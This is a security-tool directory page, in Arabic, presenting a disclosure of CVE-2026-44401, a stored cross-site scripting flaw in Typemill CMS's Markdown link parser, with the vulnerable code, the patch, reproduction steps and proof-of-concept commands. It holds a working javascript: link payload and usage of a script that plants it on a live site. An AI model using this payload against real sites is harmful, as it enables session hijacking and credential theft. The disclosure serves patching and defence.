Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/sn0x-sharma/cve-2026-44401
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراقالتعلم والتعليم
GitHubsn0x-sharma/cve-2026-44401

CVE-2026-44401

XSS مخزنة في Typemill CMS: محلل Markdown يسمح بمرور روابط javascript: دون تصفية. تقرير + PoC.

عرض المستودع
24منذ 29 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
صورة ChatGPT بتاريخ 11 أغسطس 2026، 02:18:30 مساءً
CVECVE-2026-44401
CWECWE-79 (تحييد غير صحيح للمدخلات أثناء توليد صفحة الويب)
Affectedtypemill/typemill >= 2.0.0, < 2.23.0
Fixed inv2.23.0 (commit 31b72ea)
Auth requiredنعم، أي دور يتمتع بحقوق system:update في ACL (المسؤول أو المدير افتراضيًا)
CVSS (reporter)7.6 / متوسط-مرتفع
CVSS-B (VulnCheck, v4.0)4.6 CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:A/VC:N/VI:L/VA:L/SC:N/SI:L/SA:L
Creditsn0x (@sn0x-sharma)
AdvisoryVulnCheck

التقييم متوسط وليس حرجًا لأنه يتطلب PR:H (امتياز إعداد السمة) + UI:A (يجب على الضحية النقر على الرابط) — لكن الحمولة مخزنة، لذا تُنفَّذ لدى كل زائر ينقر عليه.

الملخص

Typemill هو نظام إدارة محتوى (CMS) يعتمد على ملفات نصية مسطّحة بصيغة Markdown. لا يتحقق محلل Markdown الخاص به من مخطط (scheme) URI لأهداف الروابط قبل كتابتها في خاصية href. يمكن لأي مستخدم يملك صلاحية إعداد السمة (مثل حقل النص Landingpage Intro Segment، الذي يقبل Markdown خام) تخزين رابط javascript:. يُعرض الرابط دون تهريب على الصفحة الرئيسية العامة ويُنفَّذ في متصفح أي شخص ينقر عليه — XSS دائم (مخزّن).

السبب الجذري

ParsedownExtension::inlineLink() — system/typemill/Extensions/ParsedownExtension.php، الأسطر 934–996 (v2.22.0، آخر إصدار مُعرَّض للثغرة).

الروابط النسبية وروابط media/ تحصل على بادئة عنوان أساس (base-URL)، لكن لا يوجد أي فحص لمخطط (scheme) URI قبل إسناده إلى href:

root@kitploit:~
# start typemill: if relative link or media-link
$href = $matches[1];
if($href[0] == '/')
{
    $href = $this->baseUrl . $href;
}
elseif(substr( $href, 0, 6 ) === "media/")
{
    $href = $this->baseUrl . '/' . $href;
}
# end typemill

$Element['attributes']['href'] = $href;   // <-- no scheme validation

[Click me](javascript:alert(document.domain)) → <a href="javascript:alert(document.domain)">Click me</a>.

مسار العرض لهذا الموضع (sink) المحدد: themes/cyanine/home/landingpageIntro.twig → TwigMarkdownExtension.php → ParsedownExtension.php. أي حقل سمة آخر يمرّر Markdown الخاص بالمستخدم عبر نفس المحلل يكون متأثرًا بالمثل.

الإصلاح (v2.23.0)

root@kitploit:~
              # end typemill
-
+
+             # block dangerous URI schemes (e.g. javascript:, vbscript:, data:)
+             $scheme = parse_url($href, PHP_URL_SCHEME);
+             if ($scheme !== null && !in_array(strtolower($scheme), ['http', 'https', 'mailto', 'ftp'], true))
+             {
+                 $href = '#';
+             }
+
              $Element['attributes']['href'] = $href;

نفس القائمة البيضاء (http، https، mailto، ftp) التي اقترحها التقرير الأصلي. تم تأكيد ذلك بمقارنة ملف ParsedownExtension.php بين الوسمين v2.22.0 وv2.23.0.

ملاحظة حول الصلاحيات

مسارات إعدادات السمة (GET /tm/themes، POST /api/v1/theme) مقيّدة بمورد ACL الخاص بـ system/update — وفقًا لتعريفات المسارات الخاصة بـ Typemill نفسها (routes/web.php، routes/api.php) يُمنح هذا لدور manager افتراضيًا، وليس للمسؤول فقط. لذا فإن التعرض للثغرة لا يقتصر على حساب المسؤول الأعلى مستوى.

خطوات إعادة الإنتاج

  1. سجّل الدخول كمستخدم يملك صلاحية إعداد السمة → System → Themes → Configure (السمة النشطة، مثل Cyanine).

    صورة
  2. وسّع Landingpage Intro Segment → في "Text for your landingpage intro (use markdown)"، أدخل:

    root@kitploit:~
    [Click me](javascript:alert(document.domain))
    
    صورة
  3. احفظ. قم بزيارة الصفحة الرئيسية كأي مستخدم وانقر على الرابط → يتم تنفيذ JavaScript في جلسة ذلك الزائر.

    صورة

إثبات المفهوم

CVE-2026-44401_POC.py - وضعان:

root@kitploit:~
# Offline: exercises the parser directly against a Typemill checkout
# (composer install already run, so vendor/ exists)
python3 CVE-2026-44401_POC.py local --source /path/to/typemill

# ...or straight against a running container, same way it was originally verified
python3 CVE-2026-44401_POC.py local --docker typemill --container-path /var/www/html

# Live: logs in, stores the payload via the theme-settings API, confirms the
# raw javascript: href on the public homepage, restores the original value
python3 CVE-2026-44401_POC.py remote --url http://localhost:8080 \
    --username admin --password '********'

إعادة إنتاج يدوية بسيطة (وهي الطريقة التي تم بها التحقق من التقرير):

root@kitploit:~
php -r '
  require "vendor/autoload.php";
  require "system/typemill/Extensions/ParsedownExtension.php";
  $p = new \Typemill\Extensions\ParsedownExtension("",[],null);
  echo $p->markup($p->text("[x](javascript:alert(1))"));
'
# vulnerable: <p><a href="javascript:alert(1)">x</a></p>
# patched:    <p><a href="#">x</a></p>

الأثر

  • اختطاف جلسة المسؤول/المدير (سرقة ملفات تعريف الارتباط)
  • سرقة بيانات الاعتماد عبر نماذج أو عمليات إعادة توجيه محقونة
  • التسلسل إلى إجراءات موثّقة إضافية بصفة الضحية

المراجع

  • مستودع Typemill
  • الإصدار المُصلَح — v2.23.0
  • نشرة VulnCheck الأمنية
تنزيل الأداة